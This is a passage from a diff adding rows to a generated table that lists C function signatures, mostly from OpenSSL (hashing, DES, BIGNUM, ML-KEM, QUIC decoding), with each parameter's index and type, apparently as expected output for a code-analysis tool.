*,int,int) | | X509v3_get_ext_by_NID | 2 | int | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 0 | const stack_st_X509_EXTENSION * | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 1 | int | +| (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | int | +| (const stack_st_X509_NAME *) | | SSL_dup_CA_list | 0 | const stack_st_X509_NAME * | +| (const time_t *,tm *) | | OPENSSL_gmtime | 0 | const time_t * | +| (const time_t *,tm *) | | OPENSSL_gmtime | 1 | tm * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 0 | const u128[16] | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 1 | uint8_t * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 2 | const uint8_t * | +| (const u128[16],uint8_t *,const uint8_t *,size_t) | | ossl_polyval_ghash_hash | 3 | size_t | +| (const uint8_t *,SM4_KEY *) | | ossl_sm4_set_key | 0 | const uint8_t * | +| (const uint8_t *,SM4_KEY *) | | ossl_sm4_set_key | 1 | SM4_KEY * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PKCS8 | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_dsa_d2i_PUBKEY | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PKCS8 | 4 | const char * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 0 | const uint8_t * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 1 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 2 | int | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 3 | PROV_CTX * | +| (const uint8_t *,int,int,PROV_CTX *,const char *) | | ossl_ml_kem_d2i_PUBKEY | 4 | const char * | +| (const uint8_t *,size_t) | | FuzzerTestOneInput | 0 | const uint8_t * | +| (const uint8_t *,size_t) | | FuzzerTestOneInput | 1 | size_t | +| (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 0 | const uint8_t * | +| (const uint8_t *,size_t) | | ossl_ed448_pubkey_verify | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_private_key | 2 | ML_KEM_KEY * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_parse_public_key | 2 | ML_KEM_KEY * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 0 | const uint8_t * | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 1 | size_t | +| (const uint8_t *,size_t,ML_KEM_KEY *) | | ossl_ml_kem_set_seed | 2 | ML_KEM_KEY * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 0 | const uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 1 | uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_decrypt | 2 | const SM4_KEY * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 0 | const uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 1 | uint8_t * | +| (const uint8_t *,uint8_t *,const SM4_KEY *) | | ossl_sm4_encrypt | 2 | const SM4_KEY * | +| (const unsigned char *) | | ossl_quic_vlint_decode_unchecked | 0 | const unsigned char * | | (const unsigned char *) | CStringT | CStringT | 0 | const unsigned char * | | (const unsigned char *) | CStringT | operator= | 0 | const unsigned char * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 0 | const unsigned char ** | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 1 | long * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 2 | int * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 3 | int * | +| (const unsigned char **,long *,int *,int *,long) | | ASN1_get_object | 4 | long | +| (const unsigned char **,long) | | ASN1_const_check_infinite_end | 0 | const unsigned char ** | +| (const unsigned char **,long) | | ASN1_const_check_infinite_end | 1 | long | +| (const unsigned char **,long) | | b2i_PrivateKey | 0 | const unsigned char ** | +| (const unsigned char **,long) | | b2i_PrivateKey | 1 | long | +| (const unsigned char **,long) | | b2i_PublicKey | 0 | const unsigned char ** | +| (const unsigned char **,long) | | b2i_PublicKey | 1 | long | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 0 | const unsigned char ** | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 1 | long | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 2 | OSSL_LIB_CTX * | +| (const unsigned char **,long,OSSL_LIB_CTX *,const char *) | | ossl_d2i_X509_PUBKEY_INTERNAL | 3 | const char * | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 1 | unsigned int | +| (const unsigned char **,unsigned int,int *) | | ossl_b2i | 2 | int * | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 2 | int | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 3 | int * | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 4 | unsigned int * | +| (const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *) | | ossl_do_PVK_header | 5 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 0 | const unsigned char ** | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 1 | unsigned int | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 2 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 3 | unsigned int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 4 | int * | +| (const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *) | | ossl_do_blob_header | 5 | int * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 0 | const unsigned char * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 1 | DES_cblock * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 2 | long | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 3 | DES_key_schedule * | +| (const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *) | | DES_cbc_cksum | 4 | const_DES_cblock * | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 0 | const unsigned char * | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 1 | DES_cblock[] | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 2 | long | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 3 | int | +| (const unsigned char *,DES_cblock[],long,int,DES_cblock *) | | DES_quad_cksum | 4 | DES_cblock * | | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 0 | const unsigned char * | | (const unsigned char *,IAtlStringMgr *) | CStringT | CStringT | 1 | IAtlStringMgr * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 0 | const unsigned char * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 1 | const int | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_decrypt_key | 2 | ARIA_KEY * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 0 | const unsigned char * | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 1 | const int | +| (const unsigned char *,const int,ARIA_KEY *) | | ossl_aria_set_encrypt_key | 2 | ARIA_KEY * | +| (const unsigned char *,hm_header_st *) | | dtls1_get_message_header | 0 | const unsigned char * | +| (const unsigned char *,hm_header_st *) | | dtls1_get_message_header | 1 | hm_header_st * | +| (const unsigned char *,int) | | Jim_GenHashFunction | 0 | const unsigned char * | +| (const unsigned char *,int) | | Jim_GenHashFunction | 1 | int | +| (const unsigned char *,int) | | OPENSSL_uni2asc | 0 | const unsigned char * | +| (const unsigned char *,int) | | OPENSSL_uni2asc | 1 | int | +| (const unsigned char *,int) | | OPENSSL_uni2utf8 | 0 | const unsigned char * | +| (const unsigned char *,int) | | OPENSSL_uni2utf8 | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_bin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_lebin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_mpi2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_native2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_bin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_lebin2bn | 2 | BIGNUM * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 0 | const unsigned char * | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 1 | int | +| (const unsigned char *,int,BIGNUM *) | | BN_signed_native2bn | 2 | BIGNUM * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 0 | const unsigned char * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 1 | int | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 2 | DSA * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 3 | unsigned int | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 4 | const char * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 5 | OSSL_LIB_CTX * | +| (const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_dsa_do_sign_int | 6 | const char * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 0 | const unsigned char * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 1 | int | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 2 | EVP_CIPHER * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 3 | EVP_CIPHER * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 4 | OSSL_LIB_CTX * | +| (const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | ossl_siv128_new | 5 | const char * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 0 | const unsigned char * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 1 | int | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 2 | const BIGNUM * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 3 | const BIGNUM * | +| (const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *) | | ossl_ecdsa_simple_sign_sig | 4 | EC_KEY * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 0 | const unsigned char * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 1 | int | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 2 | const ECDSA_SIG * | +| (const unsigned char *,int,const ECDSA_SIG *,EC_KEY *) | | ossl_ecdsa_simple_verify_sig | 3 | EC_KEY * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 0 | const unsigned char * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 1 | int | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 2 | const unsigned char * | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 3 | int | +| (const unsigned char *,int,const unsigned char *,int,EC_KEY *) | | ossl_sm2_internal_verify | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 1 | int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 2 | unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 3 | unsigned int * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *) | | ossl_sm2_internal_sign | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 1 | int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 2 | unsigned char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 3 | unsigned int * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 4 | EC_KEY * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 5 | unsigned int | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 6 | const char * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 7 | OSSL_LIB_CTX * | +| (const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *) | | ossl_ecdsa_deterministic_sign | 8 | const char * | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 0 | const unsigned char * | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 1 | int | +| (const unsigned char *,int,unsigned long *) | | UTF8_getc | 2 | unsigned long * | +| (const unsigned char *,long) | | OPENSSL_buf2hexstr | 0 | const unsigned char * | +| (const unsigned char *,long) | | OPENSSL_buf2hexstr | 1 | long | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 0 | const unsigned char * | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 1 | long | +| (const unsigned char *,long,char) | | ossl_buf2hexstr_sep | 2 | char | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 0 | const unsigned char * | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 1 | size_t | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 2 | QUIC_PN | +| (const unsigned char *,size_t,QUIC_PN,QUIC_PN *) | | ossl_quic_wire_decode_pkt_hdr_pn | 3 | QUIC_PN * | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 1 | size_t | +| (const unsigned char *,size_t,size_t *) | | ossl_sm2_plaintext_size | 2 | size_t * | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 1 | size_t | +| (const unsigned char *,size_t,size_t) | | ossl_rand_pool_attach | 2 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 0 | const unsigned char * | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 1 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 2 | size_t | +| (const unsigned char *,size_t,size_t,QUIC_CONN_ID *) | | ossl_quic_wire_get_pkt_hdr_dst_conn_id | 3 | QUIC_CONN_ID * | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 0 | const unsigned char * | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 1 | size_t | +| (const unsigned char *,size_t,uint64_t *) | | ossl_quic_vlint_decode | 2 | uint64_t * | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MD4 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MD5 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | MDC2 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | RIPEMD160 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA1 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA224 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA256 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA384 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | SHA512 | 2 | unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 0 | const unsigned char * | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 1 | size_t | +| (const unsigned char *,size_t,unsigned char *) | | ossl_sha1 | 2 | unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,IDEA_KEY_SCHEDULE *) | | IDEA_ecb_encrypt | 2 | IDEA_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 2 | RC2_KEY * | +| (const unsigned char *,unsigned char *,RC2_KEY *,int) | | RC2_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const ARIA_KEY *) | | ossl_aria_encrypt | 2 | const ARIA_KEY * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 2 | const BF_KEY * | +| (const unsigned char *,unsigned char *,const BF_KEY *,int) | | BF_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 2 | const CAST_KEY * | +| (const unsigned char *,unsigned char *,const CAST_KEY *,int) | | CAST_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 2 | const SEED_KEY_SCHEDULE * | +| (const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int) | | SEED_ecb_encrypt | 3 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *) | | DES_ofb_encrypt | 5 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 3 | long | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 4 | DES_key_schedule * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 5 | DES_cblock * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_cblock *,int) | | DES_cfb_encrypt | 6 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 0 | const unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 1 | unsigned char * | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule *,DES_cblock *,int) | | DES_ede3_cfb_encrypt | 2 | int | +| (const unsigned char *,unsigned char *,int,long,DES_key_schedule *,DES_key_schedule *,DES_key_schedule 